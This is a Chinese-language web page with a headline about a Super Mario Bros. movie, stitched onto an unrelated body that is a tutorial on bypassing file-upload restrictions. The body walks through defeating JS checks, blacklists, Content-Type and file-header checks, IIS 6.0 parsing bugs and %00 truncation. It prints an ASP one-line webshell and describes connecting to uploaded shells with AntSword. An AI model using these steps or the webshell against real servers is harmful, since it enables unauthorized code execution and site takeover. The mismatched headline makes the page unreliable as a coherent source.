1. 程式人生 > 資訊 >超級馬里奧兄弟進展良好,任天堂希望帶來更多 IP 電影

超級馬里奧兄弟進展良好,任天堂希望帶來更多 IP 電影

檔案上傳


檔案上傳原理

​ 客戶端選擇傳送的檔案-->伺服器接受-->網站程式接受-->臨時檔案-->移動到指定的路徑伺服器接受的資源程式


檔案上傳錯誤程式碼


網站常見的字尾名

php
php3
phtml
asp
asa
cdx
cer
aspx
ashx
php.a
shtml

過濾的時候可以傳入這種格式
aspasp
phpphp

大小寫轉換


10種檔案上傳漏洞

一,直接上傳

​ 檔案上傳無要求,可直接上傳php程式碼檔案


二,客戶端js驗證繞過突破上傳

2.1 上傳要求:

​ 上傳的檔案後會被js程式碼進行判斷,將一些檔案格式給繞過掉。

2.2 繞過方法:
2.2.1 直接修改程式碼

​ 新建一個HTML檔案,用編譯器開啟該HTMl檔案,並將網頁的原始碼複製過來,將不需要的程式碼給刪除掉,將呼叫js判斷的程式碼刪除,並修改特定的類名,並且在form標籤裡新增程式碼action=“原URL網址”以呼叫原網址,再在此HTML網頁中上傳php檔案

2.2.2 抓包修改

​ 建立一個php的檔案,在裡面新增php程式碼,然後將檔案字尾更改為png或者可以被執行的檔案格式,用burp進行抓包,傳送到Repeater,然後將檔案字尾改為php,


三,黑白名單繞過

3.1 黑名單:

​ 指定的字尾名的禁止上傳的

3.2 白名單:

​ 允許上傳的檔案字尾名

3.3 黑名單過濾繞過:

​ 窮舉字尾名

​ 3.3.1,上傳一個png的檔案,使用burp進行抓包,傳送到Proxy,將檔案字尾名新增變數

​ 3.3.2,點選Payloads,點選load新增字典,選擇一個有後綴名的txt檔案新增字典,或者點選Add手動新增字典

​ 3.3.3,點選右上角的Start attack進行窮舉

​ 3.3.4,點選窮舉的結果,檢視每個結果的響應,檢視哪些字尾可以被繞過上傳


四,content-type檢測突破上傳

4.1 上傳要求:

​ 只能上傳一些png,bmp,gif

圖片,

4.2 繞過:

​ 4.2.1,上傳一個php程式碼檔案,使用burp進行抓包,修改檔案的型別,將Content-Type改為image/jpg

​ 4.2.2,將修改後的資料提交即可繞過


五,檔案頭檢測突破上傳

5.1 上傳要求:

​ 只能上傳gif的檔案,其他的檔案不能上傳

5.2 繞過
製作圖片一句話

​ 5.2.1在gif檔案後面追加php程式碼,使用以下程式碼,追加後新的php檔案裡包含gif檔案和php程式碼檔案

copy gif檔案/b(1.gif)+php程式碼檔案(a.php) 新的檔案(b.php) 

​ 5.2.2 將新合成的檔案上傳即可進行繞過


六,iis6.0檔名解釋上傳

6.1 要求

​ 6.1.1 檔名可控,字尾名不可控 IIS6.0解析漏洞,一般上傳的檔名不會被改變

​ 6.2.2 只能上傳特定的檔案

6.2 繞過

上傳含帶“.asp”的檔案,會被解析為asp的檔案

6.2.1 更改檔案為 “檔名.asp;.jpg” 或“檔名.php;.jpg”

​ 抓包,傳送到repeater,修改檔案為 “檔名.php;.jpg”,即可繞過檔案上傳


七,資料夾目錄解析漏洞

目錄解析漏洞只能用於iis6.0解析漏洞裡面

7.1 要求:

​ 6.1.1 檔名可控,字尾名不可控 IIS6.0解析漏洞,一般上傳的檔名不會被改變

​ 6.2.2 只能上傳特定的檔案

7.2 繞過:
7.2.1新建.asp資料夾

新建資料夾為xx.asp或xx.cer.,只要檔案上傳到這個資料夾裡,訪問就會執行指令碼

​ 7.2.1.1 新建一個xx.asp的資料夾,然後在資料夾裡新建一個asp指令碼的檔案,字尾改為.jpg,

asp指令碼:

<%eval request("chopper")%>

使用網頁開啟,可以發現檔案訪問正常

7.2.2 使用抓包修改檔案路徑

​ 上傳一個asp指令碼的ipg檔案,使用burp進行抓包,傳送到repeater,,點選params,修改裡面 的filepath引數為xx.asp

​ 建立上傳的時候會獲取到這個檔案,會建立一個這個目錄名的資料夾,並將上傳的檔案複製到這個資料夾裡,之後使用蟻劍連線網頁,即可訪問檔案


八,%00截斷的應用場景

	##### 		8.1 %00截斷的應用場景
  • 直接截斷檔名
  • 建立目錄可控 %00截斷建立目錄 利用iis6.0解析漏洞 上傳檔案到這個目錄裡
  • 截斷引數
8.2 繞過:
%00截斷

​ 上傳一個有PHP程式碼的jpg檔案,用burp進行抓包,修改檔名字尾為.php%00.jpg

​ 選擇%00,右擊點選Convert selection,選擇URL,將%00修改為URL-decode

​ 使用%00可以把後面的字元全部截斷

​ 點選提交,使用蟻劍檢視檔案

目錄解析漏洞

​ 上傳有asp程式碼的jpg檔案,使用進行抓包,修改filepath引數為xx.asp%00,不需要修改檔案字尾

​ 選擇%00,右擊點選Convert selection,選擇URL,將%00修改為URL-decode

​ 使用%00可以把後面的字元全部截斷